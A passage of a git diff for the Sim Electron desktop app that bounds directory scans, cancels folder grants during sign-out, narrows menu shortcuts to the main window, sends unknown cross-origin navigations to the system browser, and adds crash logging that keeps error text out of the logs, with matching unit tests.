compareDirectoryEntries(heap[rightIndex], heap[largestIndex]) > 0 + ) { + largestIndex = rightIndex + } + if (largestIndex === index) return + const current = heap[index] + heap[index] = heap[largestIndex] + heap[largestIndex] = current + index = largestIndex + } +} + +async function selectDirectoryEntries( + path: string, + limit: number, + signal?: AbortSignal +): Promise<{ entries: Dirent[]; truncated: boolean }> { + const entries: Dirent[] = [] + let seen = 0 + const directory = await opendir(path) + for await (const entry of directory) { + throwIfAborted(signal) + seen++ + addToBoundedDirectoryHeap(entries, entry, limit) + } + entries.sort(compareDirectoryEntries) + return { entries, truncated: seen > entries.length } +} + export class LocalFilesystemService { private readonly mounts = new Map() private readonly activeRequests = new Map() @@ -314,7 +386,9 @@ export class LocalFilesystemService { /** Revoke every remembered grant, used on sign-out and origin changes. */ async forgetAll(): Promise { + advanceAccountDataGeneration() this.close() + await waitForAccountDataMutations() await this.grantStore?.clear() } @@ -534,17 +608,32 @@ export class LocalFilesystemService { } private async mountDirectory(): Promise { + const generation = captureAccountDataGeneration() const selection = await this.chooseDirectory() if (!selection) return { mount: null, cancelled: true } + if (!isAccountDataGenerationCurrent(generation)) { + throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.') + } const selected = typeof selection === 'string' ? { path: selection } : selection const stopAccessing = selected.bookmark ? this.startAccessingBookmark(selected.bookmark) : undefined + let accessReleased = false + const releaseAccess = stopAccessing + ? () => { + if (accessReleased) return + accessReleased = true + stopAccessing() + } + : undefined try { const rootPath = await realpath(selected.path) const rootStat = await stat(rootPath) + if (!isAccountDataGenerationCurrent(generation)) { + throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.') + } if (!rootStat.isDirectory()) { throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The selected item is not a directory.') } @@ -553,7 +642,7 @@ export class LocalFilesystemService { const id = existing?.id ?? generateId() const bookmark = selected.bookmark ?? existing?.bookmark const nextStopAccessing = selected.bookmark - ? stopAccessing + ? releaseAccess : (existing?.stopAccessing ?? (bookmark ? this.startAccessingBookmark(bookmark) : undefined)) if (selected.bookmark) { @@ -569,10 +658,21 @@ export class LocalFilesystemService { ...(nextStopAccessing ? { stopAccessing: nextStopAccessing } : {}), } this.mounts.set(id, mount) - mount.remembered = await this.persistMounts() + try { + mount.remembered = await runAccountDataMutation(generation, () => this.persistMounts()) + } catch (error) { + this.mounts.delete(id) + throw error + } + if (!isAccountDataGenerationCurrent(generation)) { + mount.stopAccessing?.() + this.mounts.delete(id) + await this.grantStore?.clear() + throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.') + } return { mount: this.publicMount(mount), cancelled: false } } catch (error) { - stopAccessing?.() + releaseAccess?.() throw error } } @@ -592,7 +692,9 @@ export class LocalFilesystemService { private async restoreRememberedMounts(): Promise { if (!this.grantStore) return + const generation = captureAccountDataGeneration() const grants = await this.grantStore.load() + if (!isAccountDataGenerationCurrent(generation)) return let skipped = false for (const grant of grants) { @@ -604,6 +706,10 @@ export class LocalFilesystemService { try { const rootPath = await realpath(grant.rootPath) const rootStat = await stat(rootPath) + if (!isAccountDataGenerationCurrent(generation)) { + stopAccessing?.() + return + } if (!rootStat.isDirectory()) { stopAccessing?.() skipped = true @@ -625,7 +731,7 @@ export class LocalFilesystemService { } if (skipped) { - await this.persistMounts() + await runAccountDataMutation(generation, () => this.persistMounts()) } } @@ -658,19 +764,22 @@ export class LocalFilesystemService { } private async forgetMount(uri: string): Promise { + const generation = captureAccountDataGeneration() const { mount } = this.parseUri(uri) mount.stopAccessing?.() this.mounts.delete(mount.id) - const persisted = await this.persistMounts() - if (!persisted && this.grantStore) { - // Fail closed: if an updated encrypted grant set cannot be written, - // remove the store so a revoked mount cannot return after restart. - await this.grantStore.clear() - for (const remaining of this.mounts.values()) { - remaining.remembered = false + await runAccountDataMutation(generation, async () => { + const persisted = await this.persistMounts() + if (!persisted && this.grantStore) { + // Fail closed: if an updated encrypted grant set cannot be written, + // remove the store so a revoked mount cannot return after restart. + await this.grantStore.clear() + for (const remaining of this.mounts.values()) { + remaining.remembered = false + } } - } + }) return { forgotten: true } } @@ -780,31 +889,37 @@ export class LocalFilesystemService { throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The localfs URI is not a directory.') } - const directoryEntries = await readdir(resolvedPath.realPath, { withFileTypes: true }) - directoryEntries.sort((a, b) => a.name.localeCompare(b.name)) - const truncated = directoryEntries.length > MAX_LIST_ENTRIES - // `allSettled`, so one entry disappearing mid-read does not fail the whole - // listing. Build output, downloads and caches churn constantly, and a - // single ENOENT should drop that row rather than the directory. - const settled = await Promise.allSettled( - directoryEntries.slice(0, MAX_LIST_ENTRIES).map(async (directoryEntry) => { - const childRelativePath = [resolvedPath.relativePath, directoryEntry.name] - .filter(Boolean) - .join('/') - const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name)) - const item: LocalFilesystemEntry = { - name: directoryEntry.name, - uri: localUri(resolvedPath.mount.id, childRelativePath), - kind: entryKind(directoryEntry), - size: metadata.size, - modifiedAt: metadata.mtime.toISOString(), - } - return item - }) - ) - const entries = settled.flatMap((result) => - result.status === 'fulfilled' ? [result.value] : [] + const { entries: directoryEntries, truncated } = await selectDirectoryEntries( + resolvedPath.realPath, + MAX_LIST_ENTRIES ) + + const entries: LocalFilesystemEntry[] = [] + for (let index = 0; index < directoryEntries.length; index += LIST_METADATA_BATCH_SIZE) { + const batch = directoryEntries.slice(index, index + LIST_METADATA_BATCH_SIZE) + const items = await Promise.all( + batch.map(async (directoryEntry): Promise => { + try { + const childRelativePath = [resolvedPath.relativePath, directoryEntry.name] + .filter(Boolean) + .join('/') + const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name)) + return { + name: directoryEntry.name, + uri: localUri(resolvedPath.mount.id, childRelativePath), + kind: entryKind(directoryEntry), + size: metadata.size, + modifiedAt: metadata.mtime.toISOString(), + } + } catch { + return null + } + }) + ) + for (const item of items) { + if (item) entries.push(item) + } + } return { entries, truncated } } @@ -835,16 +950,16 @@ export class LocalFilesystemService { throwIfAborted(signal) const current = stack.pop() if (!current) break - const children = await readdir(current.path, { withFileTypes: true }) - children.sort((a, b) => b.name.localeCompare(a.name)) - - for (const child of children) { + const remaining = MAX_SCAN_ENTRIES - scanned + if (remaining <= 0) { + truncated = true + break + } + const selection = await selectDirectoryEntries(current.path, remaining, signal) + scanned += selection.entries.length + const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = [] + for (const child of selection.entries) { throwIfAborted(signal) - scanned++ - if (scanned > MAX_SCAN_ENTRIES) { - truncated = true - break - } const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/') const childPath = resolve(current.path, child.name) const mountRelativePath = [resolvedPath.relativePath, relativeFromBase] @@ -868,13 +983,20 @@ export class LocalFilesystemService { } if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) { - stack.push({ + childDirectories.push({ path: childPath, relativeFromBase, depth: current.depth + 1, }) } } + if (selection.truncated) { + truncated = true + break + } + for (let index = childDirectories.length - 1; index >= 0; index--) { + stack.push(childDirectories[index]) + } } entries.sort((a, b) => a.uri.localeCompare(b.uri)) @@ -1080,18 +1202,20 @@ export class LocalFilesystemService { throwIfAborted(signal) const current = stack.pop() if (!current) break - const children = await readdir(current.path, { withFileTypes: true }) - for (const child of children) { + const remaining = MAX_SCAN_ENTRIES - scanned + if (remaining <= 0) { + truncated = true + break + } + const selection = await selectDirectoryEntries(current.path, remaining, signal) + scanned += selection.entries.length + const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = [] + for (const child of selection.entries) { throwIfAborted(signal) - scanned++ - if (scanned > MAX_SCAN_ENTRIES) { - truncated = true - break - } const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/') const childPath = resolve(current.path, child.name) if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) { - stack.push({ + childDirectories.push({ path: childPath, relativeFromBase, depth: current.depth + 1, @@ -1112,6 +1236,13 @@ export class LocalFilesystemService { break } } + if (selection.truncated) { + truncated = true + break + } + for (let index = childDirectories.length - 1; index >= 0; index--) { + stack.push(childDirectories[index]) + } } if (outputMode === 'files_with_matches') { diff --git a/apps/desktop/src/main/menu.test.ts b/apps/desktop/src/main/menu.test.ts index 63dbc05357d..ae0170365e5 100644 --- a/apps/desktop/src/main/menu.test.ts +++ b/apps/desktop/src/main/menu.test.ts @@ -16,6 +16,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps { set: vi.fn(), } as unknown as ConfigStore, getMainWindow: vi.fn(() => null), + isMainWindow: vi.fn(() => true), allowHttpLocalhost: vi.fn(() => false), openSettings: vi.fn(), openServerSettings: vi.fn(), @@ -26,6 +27,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps { openSearch: vi.fn(), signOut: vi.fn(), checkForUpdates: vi.fn(), + openDiagnostics: vi.fn(), } } @@ -56,8 +58,6 @@ describe('buildMenuTemplate', () => { 'Check for Updates…', 'Sign Out', 'separator', - 'services', - 'separator', 'hide', 'hideOthers', 'unhide', @@ -102,16 +102,36 @@ describe('buildMenuTemplate', () => { ]) }) - it('keeps Help limited to documentation and Sim status', () => { + it('keeps Help limited to support and diagnostics', () => { const help = submenu(buildMenuTemplate(makeDeps()), 'Help') - expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status']) + expect(help.map((item) => item.label ?? item.type)).toEqual([ + 'Sim Documentation', + 'Sim Status', + 'separator', + 'Show Diagnostic Logs', + ]) }) // status.sim.ai reports on Sim's deployments only, so it is worse than // useless to an operator whose own server is the one that is down. it('drops Sim status for a self-hosted server', () => { const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help') - expect(help.map((item) => item.label)).toEqual(['Sim Documentation']) + expect(help.map((item) => item.label ?? item.type)).toEqual([ + 'Sim Documentation', + 'separator', + 'Show Diagnostic Logs', + ]) + }) + + it('opens local diagnostics from Help', () => { + const deps = makeDeps() + const item = submenu(buildMenuTemplate(deps), 'Help').find( + (entry) => entry.label === 'Show Diagnostic Logs' + ) + + ;(item?.click as () => void)() + + expect(deps.openDiagnostics).toHaveBeenCalledOnce() }) it('never exposes developer tools in the application menu', () => { @@ -119,7 +139,7 @@ describe('buildMenuTemplate', () => { expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false) }) - it('reserves the close-tab accelerator for resources and never closes the window', () => { + it('closes the main window when no resource claims the close-tab accelerator', () => { const handleFocusedResourceShortcut = vi.fn(() => true) const deps = Object.assign(makeDeps(), { handleFocusedResourceShortcut }) const closeItem = submenu(buildMenuTemplate(deps), 'File').find( @@ -141,7 +161,39 @@ describe('buildMenuTemplate', () => { handleFocusedResourceShortcut.mockReturnValue(false) click({}, focusedWindow) - expect(focusedWindow.close).not.toHaveBeenCalled() + expect(focusedWindow.close).toHaveBeenCalledOnce() + }) + + it('keeps resource, reload, and zoom accelerators out of utility windows', () => { + const mainWindow = new BrowserWindow() + const utilityWindow = new BrowserWindow() + const handleFocusedResourceShortcut = vi.fn(() => false) + const deps = Object.assign(makeDeps(), { + getMainWindow: vi.fn(() => mainWindow), + isMainWindow: vi.fn((win: BrowserWindow) => win === mainWindow), + handleFocusedResourceShortcut, + }) + const template = buildMenuTemplate(deps) + const file = submenu(template, 'File') + const view = submenu(template, 'View') + const invoke = (item: MenuItemConstructorOptions | undefined) => + (item?.click as unknown as (menuItem: unknown, browserWindow: BrowserWindow) => void)( + {}, + utilityWindow + ) + + invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+T')) + invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+R')) + invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+Plus')) + + expect(handleFocusedResourceShortcut).not.toHaveBeenCalled() + expect(mainWindow.webContents.reload).not.toHaveBeenCalled() + expect(utilityWindow.webContents.reload).not.toHaveBeenCalled() + expect(deps.config.set).not.toHaveBeenCalledWith('zoomLevel', expect.anything()) + + invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+W')) + expect(utilityWindow.close).toHaveBeenCalledOnce() + expect(mainWindow.close).not.toHaveBeenCalled() }) it('always offers a separate close-window accelerator', () => { diff --git a/apps/desktop/src/main/menu.ts b/apps/desktop/src/main/menu.ts index 4223e8a8b7b..cf1b94009f6 100644 --- a/apps/desktop/src/main/menu.ts +++ b/apps/desktop/src/main/menu.ts @@ -13,6 +13,7 @@ const ZOOM_STEP = 0.5 export interface MenuDeps { config: ConfigStore getMainWindow: () => BrowserWindow | null + isMainWindow: (win: BrowserWindow) => boolean allowHttpLocalhost: () => boolean openSettings: () => void /** Opens the native server picker (see main/server-window.ts). */ @@ -32,6 +33,7 @@ export interface MenuDeps { openSearch: () => void signOut: () => void checkForUpdates: () => void + openDiagnostics: () => void } /** @@ -40,22 +42,29 @@ export interface MenuDeps { * the zoom level persists across launches. */ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] { - const withWindow = (fn: (win: BrowserWindow) => void) => () => { - const win = deps.getMainWindow() - if (win && !win.isDestroyed()) { - fn(win) + /** Utility windows must not redirect resource commands into the hidden main window. */ + const focusedMainOrFallback = (focusedWindow: unknown): BrowserWindow | null => { + if (focusedWindow instanceof BrowserWindow) { + return !focusedWindow.isDestroyed() && deps.isMainWindow(focusedWindow) ? focusedWindow : null } + const fallback = deps.getMainWindow() + return fallback && !fallback.isDestroyed() ? fallback : null } - /** Accelerators fire on whichever window has focus; fall back to the main one. */ - const focusedOrMain = (focusedWindow: unknown): BrowserWindow | null => - focusedWindow instanceof BrowserWindow ? focusedWindow : deps.getMainWindow() + const focusedWindowOrMain = (focusedWindow: unknown): BrowserWindow | null => { + if (focusedWindow instanceof BrowserWindow) { + return focusedWindow.isDestroyed() ? null : focusedWindow + } + const fallback = deps.getMainWindow() + return fallback && !fallback.isDestroyed() ? fallback : null + } const resourceShortcut = ( shortcut: FocusedResourceShortcut ): NonNullable => { return (_item, focusedWindow) => { - deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), shortcut) + const win = focusedMainOrFallback(focusedWindow) + if (win) deps.handleFocusedResourceShortcut(win, shortcut) } } @@ -76,8 +85,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] const resolve = (current: number) => action === 'reset' ? 0 : action === 'in' ? current + ZOOM_STEP : current - ZOOM_STEP return (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (!win || win.isDestroyed()) return + const win = focusedMainOrFallback(focusedWindow) + if (!win) return if (deps.handleFocusedResourceShortcut(win, `zoom-${action}`)) return const level = resolve(win.webContents.getZoomLevel()) win.webContents.setZoomLevel(level) @@ -110,19 +119,21 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] { label: 'Back', accelerator: 'CmdOrCtrl+[', - click: withWindow((win) => { + click: (_item, focusedWindow) => { + const win = focusedMainOrFallback(focusedWindow) + if (!win) return const history = win.webContents.navigationHistory if (history.canGoBack()) { history.goBack() } - }), + }, }, { label: 'Reload', accelerator: 'CmdOrCtrl+R', click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (!win || win.isDestroyed()) return + const win = focusedMainOrFallback(focusedWindow) + if (!win) return if (deps.handleFocusedResourceShortcut(win, 'reload-or-clear')) return win.webContents.reload() }, @@ -137,8 +148,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] label: 'Force Reload', accelerator: 'CmdOrCtrl+Shift+R', click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (!win || win.isDestroyed()) return + const win = focusedMainOrFallback(focusedWindow) + if (!win) return if (deps.handleFocusedResourceShortcut(win, 'hard-reload')) return win.webContents.reloadIgnoringCache() }, @@ -161,8 +172,6 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] { label: 'Check for Updates…', click: deps.checkForUpdates }, { label: 'Sign Out', click: deps.signOut }, { type: 'separator' }, - { role: 'services' }, - { type: 'separator' }, { role: 'hide' }, { role: 'hideOthers' }, { role: 'unhide' }, @@ -184,8 +193,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] label: 'Close Window', accelerator: 'CmdOrCtrl+Shift+W', click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (win && !win.isDestroyed()) win.close() + focusedWindowOrMain(focusedWindow)?.close() }, }, /** @@ -202,7 +210,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] accelerator: 'CmdOrCtrl+T', visible: false, click: (_item, focusedWindow) => { - deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'new-tab') + const win = focusedMainOrFallback(focusedWindow) + if (win) deps.handleFocusedResourceShortcut(win, 'new-tab') }, }, { @@ -210,7 +219,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] accelerator: 'CmdOrCtrl+Shift+T', visible: false, click: (_item, focusedWindow) => { - deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'reopen-closed-tab') + const win = focusedMainOrFallback(focusedWindow) + if (win) deps.handleFocusedResourceShortcut(win, 'reopen-closed-tab') }, }, { @@ -237,8 +247,12 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] accelerator: 'CmdOrCtrl+W', visible: false, click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - deps.handleFocusedResourceShortcut(win, 'close-tab') + const win = focusedWindowOrMain(focusedWindow) + if (!win) return + if (deps.isMainWindow(win) && deps.handleFocusedResourceShortcut(win, 'close-tab')) { + return + } + win.close() }, }, ], @@ -263,6 +277,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] }, ] : []), + { type: 'separator' }, + { label: 'Show Diagnostic Logs', click: deps.openDiagnostics }, ], }, ] diff --git a/apps/desktop/src/main/navigation.test.ts b/apps/desktop/src/main/navigation.test.ts index 22ee2191aa0..66f76d4a12b 100644 --- a/apps/desktop/src/main/navigation.test.ts +++ b/apps/desktop/src/main/navigation.test.ts @@ -77,13 +77,13 @@ describe('classifyNavigation', () => { ).toBe('idp-system-login') }) - it('keeps the same IdP in-window when it is an integration connect', () => { + it('routes non-handoff integration departures out of the privileged app window', () => { expect( classifyNavigation('https://github.com/login/oauth/authorize?client_id=x', { appOrigin: APP, currentUrl: `${APP}/workspace/ws1/integrations/github`, }) - ).toBe('idp-in-window') + ).toBe('external') }) it('sends unknown hosts from an auth surface to the system browser (SSO safe default)', () => { @@ -95,22 +95,22 @@ describe('classifyNavigation', () => { ).toBe('idp-system-login') }) - it('keeps unknown hosts from workspace pages in-window (integration OAuth is a same-window redirect)', () => { + it('does not infer OAuth from an unknown cross-origin workspace navigation', () => { expect( classifyNavigation('https://api.notion.com/v1/oauth/authorize?x=1', { appOrigin: APP, currentUrl: `${APP}/workspace/ws1/integrations/notion`, }) - ).toBe('idp-in-window') + ).toBe('external') }) - it('allows continuation navigation while already on an IdP host', () => { + it('does not keep arbitrary cross-origin continuation pages in the app window', () => { expect( classifyNavigation('https://github.com/sessions/two-factor', { appOrigin: APP, currentUrl: 'https://github.com/login', }) - ).toBe('idp-in-window') + ).toBe('external') }) it('allows any https navigation inside popups', () => { diff --git a/apps/desktop/src/main/navigation.ts b/apps/desktop/src/main/navigation.ts index c9224df5127..3131a5c125e 100644 --- a/apps/desktop/src/main/navigation.ts +++ b/apps/desktop/src/main/navigation.ts @@ -7,7 +7,6 @@ const logger = createLogger('DesktopNavigation') export type MainNavigationAction = | 'in-app' - | 'idp-in-window' | 'idp-system-login' | 'idp-system-connect' | 'external' @@ -104,10 +103,10 @@ export function isAuthSurfacePath(pathname: string): boolean { * else comes back `state_mismatch`. The handoff keeps the whole flow in one * jar and hands a one-time token back over the loopback. * - * Everything else is an integration connect from a workspace page: those stay - * in-window (the session cookie is already in this partition) unless the IdP - * hard-blocks embedded user agents, which is what {@link - * SYSTEM_BROWSER_IDP_HOSTS} enumerates. + * Integration connects use the explicit desktop handoff IPC. A cross-origin + * departure from any other app page is therefore an ordinary external + * navigation, not evidence of OAuth, and must never replace the privileged + * app document that owns the preload bridge. */ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): MainNavigationAction { if (rawUrl === 'about:blank') { @@ -133,7 +132,7 @@ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): Main if (matchesHostList(url.hostname, SYSTEM_BROWSER_IDP_HOSTS)) { return 'idp-system-connect' } - return 'idp-in-window' + return 'external' } /** diff --git a/apps/desktop/src/main/observability.test.ts b/apps/desktop/src/main/observability.test.ts index cd3e3cf2147..836d61f8f01 100644 --- a/apps/desktop/src/main/observability.test.ts +++ b/apps/desktop/src/main/observability.test.ts @@ -1,8 +1,12 @@ import { existsSync, mkdtempSync, readFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { describe, expect, it } from 'vitest' -import { createEventLog, scrubUrl } from '@/main/observability' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('electron', () => import('@/test/electron-mock')) + +import { app, dialog } from 'electron' +import { createEventLog, installMainProcessFailureObservers, scrubUrl } from '@/main/observability' describe('scrubUrl', () => { it('drops query strings and fragments so tokens never reach the log', () => { @@ -40,3 +44,78 @@ describe('createEventLog', () => { expect(existsSync(`${events.filePath}.1`)).toBe(true) }) }) + +describe('installMainProcessFailureObservers', () => { + function createProcessSource() { + const handlers = new Map void>() + return { + handlers, + source: { + on: vi.fn((event: string, handler: (...args: never[]) => void) => { + handlers.set(event, handler) + }), + }, + } + } + + beforeEach(() => { + vi.clearAllMocks() + }) + + it('records unexpected child-process exits once per failure burst', () => { + vi.useFakeTimers() + try { + const events = { filePath: '/tmp/events.log', record: vi.fn() } + const { source } = createProcessSource() + installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source }) + const appHandlers = vi.mocked(app.on).mock.calls as unknown as Array< + [string, (...args: never[]) => void] + > + const handler = appHandlers.find(([event]) => event === 'child-process-gone')?.[1] as + | ((event: unknown, details: Record) => void) + | undefined + const details = { type: 'GPU', reason: 'crashed', exitCode: 9, serviceName: 'GPU' } + + handler?.({}, details) + handler?.({}, details) + + expect(events.record).toHaveBeenCalledOnce() + expect(events.record).toHaveBeenCalledWith('child_process_gone', details) + + vi.advanceTimersByTime(5_000) + handler?.({}, details) + expect(events.record).toHaveBeenCalledTimes(2) + } finally { + vi.useRealTimers() + } + }) + + it('shows one recovery prompt for simultaneous fatal failures', async () => { + let resolvePrompt: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined + vi.mocked(dialog.showMessageBox).mockImplementationOnce( + () => + new Promise((resolve) => { + resolvePrompt = resolve + }) + ) + const events = { filePath: '/tmp/events.log', record: vi.fn() } + const { handlers, source } = createProcessSource() + installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source }) + + const fatalError = new Error('secret') + fatalError.name = 'Bearer SECRET' + handlers.get('unhandledRejection')?.(fatalError as never) + handlers.get('uncaughtException')?.(new Error('second') as never) + + expect(dialog.showMessageBox).toHaveBeenCalledOnce() + expect(events.record).toHaveBeenCalledOnce() + expect(events.record).toHaveBeenCalledWith('main_unhandled_rejection', { + valueType: 'Error', + }) + expect(JSON.stringify(events.record.mock.calls)).not.toContain('SECRET') + + resolvePrompt?.({ response: 0, checkboxChecked: false }) + await vi.waitFor(() => expect(app.relaunch).toHaveBeenCalledOnce()) + expect(app.exit).toHaveBeenCalledWith(1) + }) +}) diff --git a/apps/desktop/src/main/observability.ts b/apps/desktop/src/main/observability.ts index 6290c271d31..60c8e47b36c 100644 --- a/apps/desktop/src/main/observability.ts +++ b/apps/desktop/src/main/observability.ts @@ -1,6 +1,8 @@ import { appendFileSync, mkdirSync, renameSync, statSync } from 'node:fs' import { join } from 'node:path' import { createLogger } from '@sim/logger' +import type { BrowserWindow, Details } from 'electron' +import { app, dialog } from 'electron' const logger = createLogger('DesktopEvents') @@ -20,6 +22,9 @@ export type DesktopEventName = | 'load_failure' | 'renderer_gone' | 'renderer_unresponsive' + | 'child_process_gone' + | 'main_unhandled_rejection' + | 'main_uncaught_exception' | 'sign_out' | 'origin_changed' | 'handoff_started' @@ -34,6 +39,97 @@ export interface EventRecorder { record(name: DesktopEventName, data?: Record): void } +interface ProcessFailureSource { + on(event: 'unhandledRejection', listener: (reason: unknown) => void): void + on(event: 'uncaughtException', listener: (error: Error) => void): void +} + +export interface MainProcessFailureObserverDeps { + events: EventRecorder + getWindow: () => BrowserWindow | null + processSource?: ProcessFailureSource +} + +const FAILURE_DEDUPE_MS = 5_000 + +/** + * Records native child-process failures and gives a fatal main-process error a + * single native recovery surface. Error text is deliberately excluded from + * the structured log because rejected values can contain request payloads or + * credentials; the event kind and crash dumps are enough for triage. + */ +export function installMainProcessFailureObservers({ + events, + getWindow, + processSource = process, +}: MainProcessFailureObserverDeps): void { + let fatalRecoveryOpen = false + let lastChildFailure = '' + let lastChildFailureAt = 0 + + const onChildProcessGone = (_event: unknown, details: Details): void => { + if (details.reason === 'clean-exit') return + const signature = `${details.type}:${details.reason}:${details.exitCode}:${details.serviceName ?? ''}` + const now = Date.now() + if (signature === lastChildFailure && now - lastChildFailureAt < FAILURE_DEDUPE_MS) return + lastChildFailure = signature + lastChildFailureAt = now + events.record('child_process_gone', { + type: details.type, + reason: details.reason, + exitCode: details.exitCode, + ...(details.serviceName ? { serviceName: details.serviceName } : {}), + }) + logger.error('Electron child process exited unexpectedly', { + type: details.type, + reason: details.reason, + exitCode: details.exitCode, + }) + } + + const reportFatal = ( + name: 'main_unhandled_rejection' | 'main_uncaught_exception', + value: unknown + ): void => { + if (fatalRecoveryOpen) return + fatalRecoveryOpen = true + events.record(name, { valueType: value instanceof Error ? 'Error' : typeof value }) + logger.error('Fatal main-process failure', { kind: name }) + const options = { + type: 'error' as const, + buttons: ['Restart Sim', 'Quit Sim'], + defaultId: 0, + cancelId: 1, + message: 'Sim encountered a problem', + detail: 'Restart Sim to recover. Diagnostic details were saved locally.', + } + const win = getWindow() + const prompt = + win && !win.isDestroyed() + ? dialog.showMessageBox(win, options) + : dialog.showMessageBox(options) + void prompt + .then(({ response }) => { + if (response === 0) app.relaunch() + }) + .catch(() => {}) + .finally(() => { + app.exit(1) + }) + } + + const onUnhandledRejection = (reason: unknown): void => { + reportFatal('main_unhandled_rejection', reason) + } + const onUncaughtException = (error: Error): void => { + reportFatal('main_uncaught_exception', error) + } + + app.on('child-process-gone', onChildProcessGone) + processSource.on('unhandledRejection', onUnhandledRejection) + processSource.on('uncaughtException', onUncaughtException) +} + /** * Reduces a URL to origin + path for logging. Query strings and fragments are * dropped so tokens, states, and signed parameters never reach the event log. diff --git a/apps/desktop/src/main/security-guards.test.ts b/apps/desktop/src/main/security-guards.test.ts index 6e0b3830ef6..af486065a1f 100644 --- a/apps/desktop/src/main/security-guards.test.ts +++ b/apps/desktop/src/main/security-guards.test.ts @@ -92,6 +92,15 @@ describe('attachNavigationGuards', () => { expect(deps.onConnectIntercept).toHaveBeenCalled() }) + it('opens unknown cross-origin departures externally instead of replacing the app page', () => { + const contents = makeContents(`${APP}/workspace/ws1`) + attachNavigationGuards(contents as unknown as WebContents, makeDeps()) + const preventDefault = fire(contents, 'will-navigate', 'https://docs.example/page') + + expect(preventDefault).toHaveBeenCalled() + expect(shell.openExternal).toHaveBeenCalledWith('https://docs.example/page') + }) + it('denies non-web schemes', () => { const contents = makeContents(`${APP}/workspace/ws1`) attachNavigationGuards(contents as unknown as WebContents, makeDeps()) diff --git a/apps/desktop/src/main/security-guards.ts b/apps/desktop/src/main/security-guards.ts index 41499742e65..22a91554ec9 100644 --- a/apps/desktop/src/main/security-guards.ts +++ b/apps/desktop/src/main/security-guards.ts @@ -41,7 +41,6 @@ export function attachNavigationGuards(contents: WebContents, deps: GuardDeps): }) switch (action) { case 'in-app': - case 'idp-in-window': return case 'external': event.preventDefault() diff --git a/apps/desktop/src/main/server-window.test.ts b/apps/desktop/src/main/server-window.test.ts index ced9788b13c..2ee1b41571a 100644 --- a/apps/desktop/src/main/server-window.test.ts +++ b/apps/desktop/src/main/server-window.test.ts @@ -12,6 +12,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation) let stored = origin return { filePath: '/tmp/settings.json', + isPersistenceAvailable: () => true, getOrigin: () => stored, setOrigin: vi.fn((raw: string) => { const result = validate(raw) @@ -20,7 +21,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation) }), get: vi.fn(() => undefined), set: vi.fn(), - flush: vi.fn(), + flush: vi.fn(() => true), } as unknown as ConfigStore } @@ -34,7 +35,9 @@ function makeDeps(overrides: Partial = {}): ServerWindowDeps { preloadPath: '/tmp/preload.cjs', isPackaged: false, getParentWindow: () => null, + prepareDeploymentScopedStateChange: vi.fn(() => true), clearDeploymentScopedState: vi.fn(async (): Promise => []), + completeDeploymentScopedStateChange: vi.fn((commit) => commit()), relaunch: vi.fn(), ...overrides, } @@ -69,7 +72,6 @@ describe('server window', () => { const result = await createServerWindow(deps).setOrigin('https://sim.other.example') expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false }) - expect(deps.config.flush).toHaveBeenCalled() expect(deps.relaunch).toHaveBeenCalledTimes(1) }) @@ -102,10 +104,26 @@ describe('server window', () => { it('clears deployment-scoped capabilities before relaunching', async () => { await createServerWindow(deps).setOrigin('https://sim.other.example') + expect(deps.prepareDeploymentScopedStateChange).toHaveBeenCalledTimes(1) expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1) + expect( + vi.mocked(deps.prepareDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]) 